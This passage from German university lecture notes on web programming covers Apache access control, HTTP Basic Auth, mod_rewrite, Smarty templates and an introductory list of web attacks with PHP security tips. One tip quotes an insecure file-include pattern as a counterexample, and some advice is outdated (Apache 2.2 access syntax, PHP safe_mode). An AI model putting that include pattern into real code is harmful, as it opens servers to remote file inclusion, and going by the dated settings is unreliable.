Abbildung 9: Standard Fehlermeldung 404 von Apache und selbst gestaltete Meldung

Nun wird bei jedem Zugriff auf eine nicht existierende URL die Fehlermeldung angezeigt. Achtung: Wenn man bei der ErrorDocument-Anweisung einen falschen Pfad angibt erscheint eine doppelte Fehlermeldung: The requested URL /gibtsned was not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.

6.5.3

Zugriffsbeschränkung

Beispiel 1) Beschränken Sie den Zugriff auf Ihre Website: nur von der FH Salzburg aus soll der Zugriff möglich sein. Der Zugriff auf den Webserver, oder auf bestimmte Ordner und Dateien am Webserver kann beschränkt werden. Dabei sind verschiedene Kriterien denkbar: Zugriff nur für bestimmte Browser, zugriff nur mit Passwort, Zugriff nur von Computern die innerhalb der FH sind.

MMT Webprogrammierung 2 Das letzte Kriterium ist das einfachste: Alle Computer innerhalb der FH haben eine IP-Adresse die

85

mit 10. beginnt. Die Zugriffsbeschränkung erfolgt mit den Konfigurations-Anweisungen Deny, Allow und Order:
Order deny,allow Deny from all Allow from 10.

Aber meist will man nicht den Zugriff auf den ganzen Server sperren, sondern auf einen Bestimmten Ordner oder auf bestimmte Dateien. Dafür wird in der Apache Konfigurations-Datei eine Schreibweise verwendet, die an HTML oder XML erinnert:
<Location /fhintranet> Order deny,allow Deny from all Allow from 141.201 </Location> <FilesMatch \.fla$> Order allow,deny Deny from all </FilesMatch>

Der Teil der Konfiguration, der im <Location>-Tag eingeschlossen ist gilt nur für den Ordner
/fhintranet im Webspace. Der Teil, der im <FilesMatch>-Tag eingeschlossen ist gilt für alle Datei-

en im Webspace, deren Name auf .fla endet. Die Schreibwiese bei FilesMatch nennt man einen „Pattern“ – ein Suchmusters. Patterns und Pattern-Matching werden Sie auch in PHP wieder verwenden. Das Dollar-Zeichen am Ende des Patterns bedeutet, dass fla am Ende des Dateinamens stehen muss. Eine Datei mit Namen test.fla.txt wäre also nicht betroffen. Vor dem Punkt muss man einen Backslash \ schreiben, weil der Punkt alleine als Joker gelten würde. Der Pattern .fla$ (ohne Backslash) würde also auch den Dateinamen schlabberdifla oder fli_fla erkennen, weil der Punkt für das i oder den Unterstich stehen könnte. Übung 1) Kombinieren Sie die Zugriffsbeschränkung mit der Fehlermeldung um ein Intranet für den Mediacube zu schaffen.

6.5.4

HTTP Auth mit Apache

In dem Ordner, der gesperrt werden soll, wird eine Datei .htaccess angelegt:
AuthType Basic AuthName "Intranet" AuthUserFile /home/urstein/stud1/fhs007/pass require valid-user

Achtung: der Pfad zur Passwort-Datei (AuthUserFile) muss vollständig angegeben werde! Die Passwort-Datei sieht so aus:

MMT Webprogrammierung 2
brigitte:$apr1$Yj1. . . . . $N72ZRLbh91/q33fhGqlJW1 clemens:$apr1$al1. . . . . $VZguOHeYTiQ7emGSIj4lh.

86

Diese Datei können Sie mit einem Generator am Web18 erzeugen oder mit dem Programm htpasswd das mit Apache mit geliefert wird. Das funktioniert z.B. auf der Kommandozeile von Windows so:
C:\xampp\apache\bin>htpasswd -c pass brigitte New password: ******** Re-type new password: ******** Adding password for user brigitte C:\xampp\apache\bin>htpasswd pass clemens New password: *** Re-type new password: *** Adding password for user Clemens

Diese Methode funktioniert auch auf den Webserver www.users.fh-salzburg.ac.at und multimediatechnology.at. Wenn Sie einen eigenen Apache Server betreiben, können Sie diese Authentisie-

rungmethode mit verschiedenen Backends verwenden (LDAP, Datenbank, …) — dafür gibt es verschiedene Apache Module19. Mit der HTTP-Authentisierung ist das HTTP-Protokoll (genau wie bei der Verwendung von Cookies) nicht mehr stateless. http-Auth hat gegenüber Cookies den Vorteil, dass die Eingabe von Username und Passwort über ein Browser-Fenster erfolgt und nicht implementiert werden muss.

Abbildung 37: Eingabefenster für HTTP Authentisierung in verschiedenen Browsern

Was mit http Auth nicht funktioniert, ist der Zugriff ohne Login auf die gleiche URL. (Bei Authentisierung über Cookies geht das).

6.5.5

mod_rewrite

Das Apache-Modul mod_rewrite erlaubt das Umschreiben der URL. Normalerweise verweist die URL direkt auf eine Datei im Filesystem. Dabei wird nur die Apache-Konfigurationsanweisung DocumentRoot verwendet um den Hauptordner des Servers festzulegen:

18

http://www.phpbb.de/diverses/htpasswd.php http://httpd.apache.org/docs/2.0/mod/#other

19

MMT Webprogrammierung 2
<VirtualHost ich.multimediatechnology.at> DocumentRoot /home/urstein/stud1/fhs007/public_html/ </VirtualHost>

87

Die URL

http://ich.multimediatechnology.at/mini/index.php verweist auf die

Datei /home/urstein/stud1/fhs007/public_html/mini/index.php Mit mod_rewrite kann man die URL komplett von der Struktur des Filesystems trennen. Wenn man die mod_rewrite – Regeln in eine.htaccess –Datei im Ordner mini schreibt dann gelten diese Regeln natürlich nur für URLs die mit http://ich.multimediatechnology.at/mini/ beginnen. Das Endergebnis der Umschreibung wird schliesslich ganz normal als URL interpretiert.
RewriteEngine On RewriteRule ^personen$ personen.php [L]

Diese Datei enthält eine Regel. Jede Regel besteht aus einem Suchmuster und einer neuen Schreibweise für die URL. Die erste Regel verwandelt die URL
http://ich.multimediatechnology.at/mini/personen

in die neue URL

http://ich.multimediatechnology.at/mini/personen.php

RewriteRule ^person/(.*)

person.php?pid=$1

[L]

Das Suchmuster dieser Regel enthält runde Klammern, diese dienen dazu einen Teil der URL einzufangen und später als Variable wieder zu verwenden. Damit verwandelt diese Regel die URLs
http://ich.multimediatechnology.at/mini/person/1 http://ich.multimediatechnology.at/mini/person/2 http://ich.multimediatechnology.at/mini/person/gigsi/gagsi/gugsi

in folgende neue URLs:
http://ich.multimediatechnology.at/mini/person.php?pid=1 http://ich.multimediatechnology.at/mini/person.php?pid=2 http://ich.multimediatechnology.at/mini/person.php?pid=gigsi/gagsi/gugsi

MMT Webprogrammierung 2

88

7.

Ausblick

Die letzte Einheit bietet einen Rückblick und den Ausblick auf weiter Themen der Webprogrammierung. Das Thema Security wird im Rückblick noch einmal behandelt

MMT Webprogrammierung 2

89

7.1

Templates und MVC

Für eine moderne Web-Applikation brauchen wir eine Mischung aus HTML, CSS, Javascript, PHP, SQL. Im schlechtesten Fall ist all dieser Code in einer Datei gespeichert, und eng ineinander vermischt – so wie in den bisher gezeigten Beispielen. Wie kann man diese Code-Mischung verhindern, den Code durchschaubarer machen und die Arbeitsteilung zwischen Design (HTML+CSS) und Programmierung (Javascript, PHP, SQL) erleichtern?

7.1.1

Templates am Beispiel von Smarty

Das Smarty Template-System speichert die Templates in einem eigenen Ordner, die einzelnen Dateien können die Endung html haben. In einem zweiten Ordner templates_c speichert das System die compilierten Templates.

Abbildung 38: Ordnerstruktur eines Projekts mit Smarty Templates

Der allgemeine Ablauf einer PHP-Datei lautet mit Smarty:
<?php require 'libs/Smarty.class.php'; $template = new Smarty; $template->assign("pagetitle","Person"); // Zeugs berechnen, aus der Datenbank holen ... $template->assign("vorname","Brigitte"); $template->display('person.html'); ?>

In der Template-Datei gibt es includes und Variablen, in der speziellen Smarty-Schreibweise mit geschwungenen Klammern:

MMT Webprogrammierung 2
{include file="header.tpl"} <p>Es befinden sich {$anz_personen} Personen und {$anz_werke} Werke in der Datenbank</p> {include file="footer.tpl"}

90

Die Variablen werden mit $template->assign in das Template gespeichert. Es können auch Arrays oder komplexere Datenstrukturen an das Template übertragen werden. In folgendem Beispiel wird ein Array von Arrays übertragen:
$ergebnis = mysqli_query ( $db, "SELECT * FROM person WHERE ifshow=1 ORDER BY nachname" ); while($person = mysqli_fetch_array($ergebnis)) { $personen[] = $person; } $template->assign("personen", $personen);

Im Template wird das äußere Array mit einer foreach-Schleife abgearbeitet:
<ul> {foreach from=$personen item=person} <li> <b>{$person.vorname} {$person.nachname}</b> <a href="person.php?pid={$person.pid}">mehr</a> </li> {/foreach} </ul>

Im Template ist einfache Programmierung möglich. Dies sollte aber nur für die Darstellung von Daten verwendet werden, nicht für wirkliche Berechnungen:
{if $isfemale}Frau{else}Herr{/if} {$vorname} {$nachname} hat insgesamt {$anz} Werke in dieser Datenbank.

MMT Webprogrammierung 2

91

7.2

Security von Web-Applikationen

Sicherheit ist ein heikles Thema, deswegen eine Warnung vorneweg: dies ist keine vollständige Darstellung aller möglichen Sicherheitsrisiken. Betrachten Sie dieses Kapitel nur als Einstieg in das Thema, nicht als endgültige Abhandlung.

7.2.1

Keine Ausreden

Egal wie klein, unwichtig, unbekannte Ihre Web-Applikation ist: das ist keine Ausrede dafür sich nicht um Security zu kümmern. Selbst die kleinste, unwichtigste, unbekannteste Applkation wird „zum Spaß“ von Vandalen angegriffen. Selbst die kleinste, unwichtigste, unbekannteste Applikation wird angegriffen um Kontrolle über den Server zu erlangen, und dann von diesem Server aus weitere Attacken auf weitere Ziele zu starten. Sie sind also nicht nur für sich selbst, sondern auch zum Schutz von Anderen für die Sicherheit Ihrer Applikation verantwortlich. Sie sollten dabei nicht vergessen: Die Einstiegsseite Ihrer Applikation ist nicht der einzige Angriffspunkt: jede einzelne URL der Applikation ist ein möglicher Angriffspunkt. Jede URL ist eine öffentliche Schnittstelle der Webapplikation!

7.2.2

Beispiele für Attacken

Was will die böse HackerIn erreichen? Hier ein paar Beispiele für mögliche Attacken: Durch eine große Anzahl von Zugriffen den Server langsamer machen oder zum Absturz bringen (Denial of Service Attack, DoS). Die Applikation dazu bringen, dass sie ein nicht vorgesehenes Verhalten zeigt, z.B. SPAM Mail versendet, Passwortdateien anzeigt, E-Mail Adressen von KundInnen anzeigt, … Die Applikation dazu bringen, dass sie ins Filesystem schreibt. Die Applikation dazu bringen, dass sie bestimmte (UNIX-)Befehle ausführt. Durch gezielte Eingaben nicht vorgesehene SQL-Befehle ausführen um Daten zu zerstören oder zu erlangen (SQL Injection). Einer UserIn Ihrer Applikation eine URL einer bekannten Applikation mailen die schon eine Session-ID enthält; wenn sich die UserIn über diese URL anmeldet, kann die HackerIn die Session auch mitbenutzen (Session Fixation).

MMT Webprogrammierung 2 Einer UserIn Ihrer Applikation eine URL oder eine HTML-Seite mailen, die (in Kombination mit den Zugriffsrechten/Cookies dieser UserIn) unerwartetes Verhalten bei einer Web-Applikation bewirkt, wenn diese aufgerufen/angzeigt wird (Phishing).

92

Die Applikation so manipulieren, dass anderen UserInnen HTML+Javascript-Code angezeigt wird, der eine Attacke auf diese UserInnen ist (Cross Site Scripting) — um deren Cookies/Session auszulesen oder deren Zugriffsrechte zu benutzen (Cross Site Request Forgerie). Wenn verschiedene Leute einen Webserver teilen: die „NachbarInnen“ ausspionieren, gemeinsam genutzte Pfade für Uploads und Sessions ausnutzen.

7.2.3

Tipps für mehr Sicherheit in PHP

Ein paar Tipps wie sie Sicherheits-Probleme vermeiden können. Tipp 1: Es gibt keine Security im Client! Z.B. Eingabeprüfung in Javascript ist nett, ersetzt aber keine Eingabeprüfung am Server. Tipp 2: Eingaben aus $_GET, $_COOKIE oder $_POST lesen, nicht aus $_REQUEST. Dort finden sich Strings. Diese Strings prüfen und in den richtigen Datentyp konvertieren. Tipp 3: Daten vor der Verwendung in SQL, auf der Kommandozeile, als URL oder als Webseite richtig escapen. (Escapen ersetzt nicht die Prüfung!) Tipp 4: Include nur mit fixem Pfad, niemals include( $_POST['includepath'] ); Tipp 5: Include-Dateien immer mit Endung .php speichern—nicht als .txt oder .inc, die könnten über das Web sichtbar und lesbar sein. Tipp 6: Niemals Datei-Uploads erlauben mit denen neue Dateien mit der Endung .php in den Webspace geschrieben werden können. Tipp 7: Falls möglich Prepared-Statements für SQL verwenden. Tipp 8: Sessions nicht nach dem Login weiter verwenden, sondern nach dem Login neue Session erzeugen mit session_regenerate_id(). Tipp 9: Wenn mehrere User einen Webserver teilen: mit den Konfigurations-Optionen open_basedir und safe_mode möglichst getrennt halten.

MMT Webprogrammierung 2

93

Anhänge
7.3 Literatur- und Web-Tipps

Web + HTTP
HTTP 1.1: RFC 2616 - http://www.w3.org/Protocols/rfc2616/rfc2616.html

HTML + CSS
Homepage des WWW-Consortiums. http://www.w3c.org/ HTML Validator des WWW-Consortiums. http://validator.w3.org/ Jellinek, Brigitte (2006): Handbuch Webdesign. Wikibook.
http://de.wikibooks.org/wiki/Webdesign

Freeman, Elisabeth (2006): HTML mit CSS & XHTML von Kopf bis Fuß. O'Reilly. ISBN 978-3897214538 Shea, Dave/ Holzschlag, Molly: CSS Zen Garden. http://csszengarden.com/ Müller, Peter (2007): Little Boxes. Markt+Technik-Verlag. ISBN 978-3827242242 Münz, Stefan: Selfhtml. http://de.selfhtml.org MÜNZ,Stefan / NEFZGER,Wolfgang (2005): HTML Handbuch. Studienausgabe. Franzis. ISBN 3772366546. ZELDMAN,Jeffrey (2008): Webdesign mit Webstandards: Grenzenlos kompatibel. Addison-Wesley, München. ISBN 3827327326. CEDERHOLM,Dan (2007): Bulletproof Webdesign (2. Ausgabe): Absolut flexibel und für alles gewappnet mit CSS und XHTML. Addison-Wesley, München. ISBN 382732629X.

PHP
PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net

MMT Webprogrammierung 2 Templating-System Smarty für PHP. http://smarty.php.net/ PEAR - PHP Extension and Application Repository. http://pear.php.net KERSKEN,Sascha (2005): Praktischer Einstieg in MySQL mit PHP. O'Reilly Vlg GmbH & Co. ISBN 3897214032. Lerdorf, Rasmus (2006): Programmieren mit PHP. O'Reilly; 2. Auflage. ISBN 978-3897214736 Schmidt, Stephan (2007): PHP Design Patterns. O'Reilly. ISBN 978-3897214422. Welling, Luke (2004): MySQL-Tutorial. München: Addison-Wesley. ISBN 978-3827321695.
SHIFLETT,Chris (2005): Essential PHP Security. O'Reilly Media, . ISBN 059600656X.

94

Javascript + AJAX
MORRISON,Michael (2008): Head First JavaScript (Head First). O'Reilly Media, . ISBN 0596527748. FLANAGAN,David (2007): JavaScript: Das umfassende Referenzwerk. O'Reilly. ISBN 3897214911. CROCKFORD,Douglas (2008): JavaScript: The Good Parts. O'Reilly Media, . ISBN 0596517742. STEYER,Ralph (2003): JavaScript in 21 Tagen . Schritt für Schritt zum Programmierprofi. Markt+Technik. ISBN 3827265088.

POWERS,Shelley (2007): Adding Ajax. O'Reilly Media, . ISBN 0596529368. jQuery Library. http://jquery.com/

MMT Webprogrammierung 2

95

Stichwortverzeichnis
.htaccess closedir Datei .htaccess Datei httpd.conf Dienst Fehlermeldung von Apache glob htaccess httpd.conf Internet kompatibel Log-Datei von Apache 83 84 20 83 83 26 10 83 20 83 83 8 opendir Pattern Prepared Statement readdir statefull stateless Version PHP Webserver Log-Datei Windows-Dienst XAMPP Control Panel Zugriffsbeschränkung 83 8 8 84 10 20 85 58 20 52 52